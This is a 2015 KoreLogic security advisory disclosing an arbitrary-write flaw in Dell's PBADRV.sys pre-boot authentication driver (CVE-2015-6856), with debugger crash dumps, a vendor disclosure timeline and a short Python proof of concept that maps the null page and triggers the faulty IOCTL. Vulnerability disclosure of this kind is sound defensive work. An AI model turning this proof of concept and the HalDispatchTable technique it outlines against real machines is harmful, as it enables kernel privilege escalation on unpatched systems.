Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address

2015-12-18T00:00:00
ID KL-001-2015-008
Type korelogic
Reporter Matt Bergin (@thatguylevel)
Modified 2015-12-18T00:00:00

Description

Title: Dell Pre-Boot Authentication Driver Uncontrolled Write to Arbitrary Address Advisory ID: KL-001-2015-008 Publication Date: 2015.12.18 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-008.txt

  1. Vulnerability Details

    Affected Vendor: Dell Affected Product: Pre-Boot Authentication Driver Affected Version: 1.0.1.5 Platform: Microsoft Windows XP SP3, Microsoft Windows 2003 SP2, Microsoft Windows 7 CWE Classification: CWE-20: Improper input validation Impact: Arbitrary Code Execution Attack vector: IOCTL CVE-ID: CVE-2015-6856

  2. Vulnerability Description

The Dell Pre-Boot Authentication Driver (PBADRV.sys) contains a vulnerability that can be leveraged to enable an attacker to write arbitrary code. The 'OutputAddress' from the IOCTL call is not validated before it attempts to write to memory. The content of the write is a four-byte hex value that is always greater than that of the kernel base address. Using multiple writes, it may be possible to overwrite the first entry of HalDispatchTable in a way that the entry would point to a user-land address. An attacker need only allocate shellcode at said address and call the ntdll!NtQueryIntervalProfile() function.

  1. Technical Description

    Example against Windows XP:

    Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved.

    Loading Dump File [C:\WINXP\MEMORY.DMP] Kernel Complete Dump File: Full address space is available

    Symbol search path is: srv* Executable search path is: Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0 Debug session time: Tue Feb 3 05:41:17.712 2015 (UTC - 8:00) System Uptime: 0 days 0:03:46.296 Loading Kernel Symbols ....

    kd> !analyze -v

    READ_ADDRESS: 909090d4 FAULTING_IP: +2902faf00efdfc0 00000008 8b4044 mov eax,dword ptr [eax+44h]

    MM_INTERNAL_CODE: 0 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: pythonw.exe

    TRAP_FRAME: b24bdc8c -- (.trap 0xffffffffb24bdc8c) ErrCode = 00000000 eax=90909090 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=012c1be8 edi=b24bdd64 eip=00000008 esp=b24bdd00 ebp=b24bdd20 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 00000008 8b4044 mov eax,dword ptr [eax+44h] ds:0023:909090d4=????????

    Resetting default scope LAST_CONTROL_TRANSFER: from 8051cc7f to 804f8cc5

    STACK_TEXT:
    b24bdc14 8051cc7f 00000050 909090d4 00000000 nt!KeBugCheckEx+0x1b b24bdc74 805405d4 00000000 909090d4 00000000 nt!MmAccessFault+0x8e7 b24bdc74 00000008 00000000 909090d4 00000000 nt!KiTrap0E+0xcc WARNING: Frame IP not in any known module. Following frames may be wrong. b24bdcfc 8063d5cd 00000001 0000000c b24bdd14 0x8 b24bdd20 8060eb43 00000002 b24bdd64 0021f7f8 nt!KeQueryIntervalProfile+0x37 b24bdd54 8053d6d8 00000002 012c1be8 0021f7fc nt!NtQueryIntervalProfile+0x61 b24bdd54 7c90e514 00000002 012c1be8 0021f7fc nt!KiFastCallEntry+0xf8 0021f7e4 7c90d84a 1d1add9a 00000002 012c1be8 ntdll!KiFastSystemCallRet 0021f7e8 1d1add9a 00000002 012c1be8 0021f89c ntdll!NtQueryIntervalProfile+0xc 0021f7fc 1d1acab6 1d1ac900 0021f81c 00000008 _ctypes!DllCanUnloadNow+0x5b6a 0021f82c 1d1a8db8 7c90d83e 0021f920 24f7d09f _ctypes!DllCanUnloadNow+0x4886 0021f8dc 1d1a959e 00001100 7c90d83e 0021f910 _ctypes!DllCanUnloadNow+0xb88 0021f984 1d1a54d8 7c90d83e 012d4300 00000000 _ctypes!DllCanUnloadNow+0x136e 0021f9dc 1e07cf0c 00000000 012d4300 00000000 _ctypes+0x54d8 00000000 00000000 5044408b 000004bb 88808b00 python27!PyObject_Call+0x4c

    STACK_COMMAND: kb FOLLOWUP_IP: nt!KiTrap0E+cc 805405d4 85c0 test eax,eax

    SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: nt!KiTrap0E+cc FOLLOWUP_NAME: MachineOwner MODULE_NAME: nt IMAGE_NAME: ntkrnlpa.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4d00d4fb FAILURE_BUCKET_ID: 0x50_nt!KiTrap0E+cc BUCKET_ID: 0x50_nt!KiTrap0E+cc Followup: MachineOwner


    Example against Windows 7:

    Microsoft (R) Windows Debugger Version 6.3.9600.17298 X86 Copyright (c) Microsoft Corporation. All rights reserved.

    Loading Dump File [C:\Users\dev\Desktop\Mini091715-01.dmp] Mini Kernel Dump File: Only registers and stack trace are available

    Symbol search path is: Invalid


    • Symbol loading may be unreliable without a symbol search path. *
    • Use .symfix to have the debugger choose a symbol path. *
    • After setting your symbol path, use .reload to refresh symbol locations. *

    Executable search path is:


    • Symbols can not be loaded because symbol path is not initialized. *
    • *
    • The Symbol Path can be set by: *
    • using the _NT_SYMBOL_PATH environment variable. *
    • using the -y <symbol_path> argument when starting the debugger. *
    • using .sympath and .sympath+ *

    Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 WARNING: Unable to verify timestamp for ntkrnlpa.exe ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Windows Server 2003 Kernel Version 3790 (Service Pack 2) UP Free x86 compatible Product: Server, suite: Enterprise TerminalServer SingleUserTS Machine Name: Kernel base = 0x80800000 PsLoadedModuleList = 0x808a1fe8 Debug session time: Thu Sep 17 08:21:15.962 2015 (UTC - 7:00) System Uptime: 0 days 0:10:19.785 ********** * Symbols can not be loaded because symbol path is not initialized. * * The Symbol Path can be set by: * using the _NT_SYMBOL_PATH environment variable. * using the -y <symbol_path> argument when starting the debugger. * using .sympath and .sympath+ * ********** Unable to load image \WINDOWS\system32\ntkrnlpa.exe, Win32 error 0n2 WARNING: Unable to verify timestamp for ntkrnlpa.exe ERROR: Module load completed but symbols could not be loaded for ntkrnlpa.exe Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. *********** * * Bugcheck Analysis * * * ***********

    Use !analyze -v to get detailed debugging information. BugCheck 50, {ffffffff, 1, 80820de3, 0} * Kernel symbols are WRONG. Please fix symbols to do analysis.


    WARNING: Unable to verify timestamp for hal.dll ERROR: Module load completed but symbols could not be loaded for hal.dll WARNING: Unable to verify timestamp for PBADRV.sys ERROR: Module load completed but symbols could not be loaded for PBADRV.sys WARNING: Unable to verify timestamp for srv.sys ERROR: Module load completed but symbols could not be loaded for srv.sys ************* Probably caused by : PBADRV.sys ( PBADRV+13a0 )

    Followup: MachineOwner

    kd> .symfix;.reload Loading Kernel Symbols ............................................................... ............................................................ Loading User Symbols Loading unloaded module list .. kd> !analyze -v


    • *
    • Bugcheck Analysis *
    • *

    PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 80820de3, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved)

    Debugging Details:

    Could not read faulting driver name Unable to load image \??\C:\Documents and Settings\Administrator\Desktop\PBADRV.sys, Win32 error 0n2 WARNING: Unable to verify timestamp for PBADRV.sys ERROR: Module load completed but symbols could not be loaded for PBADRV.sys

    WRITE_ADDRESS: GetPointerFromAddress: unable to read from 808a1df0 GetPointerFromAddress: unable to read from 808a1de8 GetUlongFromAddress: unable to read from 808a67f8 ffffffff

    FAULTING_IP: nt!IopCompleteRequest+97 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: python.exe CURRENT_IRQL: 1 ANALYSIS_VERSION: 6.3.9600.17336 (debuggers(dbg).150226-1500) x86fre IRP_ADDRESS: 87c57378 TRAP_FRAME: ba456a6c -- (.trap 0xffffffffba456a6c) ErrCode = 00000002 eax=00000004 ebx=87c57378 ecx=00000001 edx=00000000 esi=88064e50 edi=ffffffff eip=80820de3 esp=ba456ae0 ebp=ba456b24 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x97: 80820de3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope

    LAST_CONTROL_TRANSFER: from 8085b93b to 80827109

    STACK_TEXT:
    ba4569e0 8085b93b 00000050 ffffffff 00000001 nt!KeBugCheckEx+0x1b ba456a54 808885d8 00000001 ffffffff 00000000 nt!MmAccessFault+0xa91 ba456a54 80820de3 00000001 ffffffff 00000000 nt!KiTrap0E+0xd8 ba456b24 8082cd9a 87c573b8 ba456b70 ba456b64 nt!IopCompleteRequest+0x97 ba456b74 80a59f1f 00000000 00000000 00000000 nt!KiDeliverApc+0xb8 ba456b94 80a5a153 ba456b01 00000000 87c573b8 hal!HalpDispatchSoftwareInterrupt+0x49 ba456bb0 80a5a1d0 00000001 ba456b00 ba456bd0 hal!HalpCheckForSoftwareInterrupt+0x81 ba456bc0 8082f793 00000000 ba456b00 ba456bf0 hal!KfLowerIrql+0x62 ba456bd0 80829939 87c573b8 87c57378 00000000 nt!KiExitDispatcher+0xd3 ba456bf0 8081daa5 87c573b8 87a0cb68 00000000 nt!KeInsertQueueApc+0x57 ba456c24 ba5423a0 87c57378 87cbb490 87c57378 nt!IopfCompleteRequest+0x201 WARNING: Stack unwind information not available. Following frames may be wrong. ba456c3c 8081d7d3 87d13c88 87c57378 87a0cb68 PBADRV+0x13a0 ba456c50 808ef85d 87c573e8 87a0cb68 87c57378 nt!IofCallDriver+0x45 ba456c64 808f05ff 87d13c88 87c57378 87a0cb68 nt!IopSynchronousServiceTail+0x10b ba456d00 808e912e 00000788 00000000 00000000 nt!IopXxxControlFile+0x5e5 ba456d34 80885614 00000788 00000000 00000000 nt!NtDeviceIoControlFile+0x2a ba456d34 7c82845c 00000788 00000000 00000000 nt!KiSystemServicePostCall 0021fa8c 00000000 00000000 00000000 00000000 0x7c82845c

    STACK_COMMAND: kb

    FOLLOWUP_IP: PBADRV+13a0 ba5423a0 ?? ???

    SYMBOL_STACK_INDEX: b SYMBOL_NAME: PBADRV+13a0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: PBADRV IMAGE_NAME: PBADRV.sys DEBUG_FLR_IMAGE_TIMESTAMP: 478274de FAILURE_BUCKET_ID: 0x50_PBADRV+13a0 BUCKET_ID: 0x50_PBADRV+13a0 ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0x50_pbadrv+13a0 FAILURE_ID_HASH: {7469b31a-ad45-6d57-5589-106dc943201e} Followup: MachineOwner


  2. Mitigation and Remediation Recommendation

    The vendor no longer supports this version, and no known remediation is available.

  3. Credit

    This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

  4. Disclosure Timeline

    2015.02.18 - KoreLogic sends vulnerability report and PoC to Dell. 2015.02.19 - Dell acknowledges receipt of vulnerability report. 2015.04.06 - KoreLogic contacts Dell for a progress update and directs Dell to KoreLogic's 45 business day disclosure timeline. 2015.04.07 - Dell requests additional time to develop remediation. 2015.04.07 - KoreLogic asks for an estimate of the timeline for remediation. 2015.04.09 - Dell responds to say they are unable to provide an estimate for the length of time to develop a mitigation or remediation strategy. 2015.04.27 - 45 business days have elapsed since the vulnerability was reported to Dell. 2015.07.01 - 90 business days have elapsed since the vulnerability was reported to Dell. 2015.08.13 - 120 business days have elapsed since the vulnerability was reported to Dell. 2015.09.10 - KoreLogic requests a CVE from Mitre. 2015.09.10 - Mitre issues CVE-2015-6856. 2015.09.11 - KoreLogic requests update from Dell. 2015.09.18 - Dell responds to say they are unable to provide an estimate for the length of time to develop a mitigation or remediation strategy. 2015.09.30 - 150 business days have elapsed since the vulnerability was reported to Dell. 2015.11.04 - KoreLogic notifies Dell the issue will be disclosed publicly in 10 business days. 2015.11.04 - Dell states they are working on a remediation and asks KoreLogic to continue to hold back public release. 2015.11.13 - 180 business days have elapsed since the vulnerability was reported to Dell. 2015.12.03 - Dell responds with the following statement: "The referenced software component is from an old version of Dell Data Protection | Authentication that has not been shipped for some time and is no longer supported. No software updates are planned at this time." 2015.12.18 - Public disclosure.

  5. Proof of Concept

Copyright 2015 KoreLogic Inc., All Rights Reserved.

This proof of concept, having been partly or wholly developed

and/or sponsored by KoreLogic, Inc., is hereby released under

the terms and conditions set forth in the Creative Commons

Attribution Share-Alike 4.0 (United States) License:

http://creativecommons.org/licenses/by-sa/4.0/

Author: Matt Bergin (KoreLogic / Smash the Stack)

Purpose: Dell PBADRV.sys Privilege Escalation PoC XP SP3

from ctypes import byref, c_int, c_ulong, windll from sys import exit

CreateFileA, NtAllocateVirtualMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory, DeviceIoControlFile = windll.kernel32.WriteProcessMemory, windll.ntdll.ZwDeviceIoControlFile CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = 2, 1, 3, 0

handle = CreateFileA("\\.\PBADRV", FILE_SHARE_WRITE | FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None) NtAllocateVirtualMemory(-1, byref(c_int(0x1)), 0x0, byref(c_int(0xffff)), 0x1000 | 0x2000, 0x40) WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) DeviceIoControlFile(handle, NULL, NULL, NULL, byref(c_ulong(8)), 0x0022201c, 0x1, 0x258, 0x90909090, 0)

Fail

CloseHandle(handle) exit(0)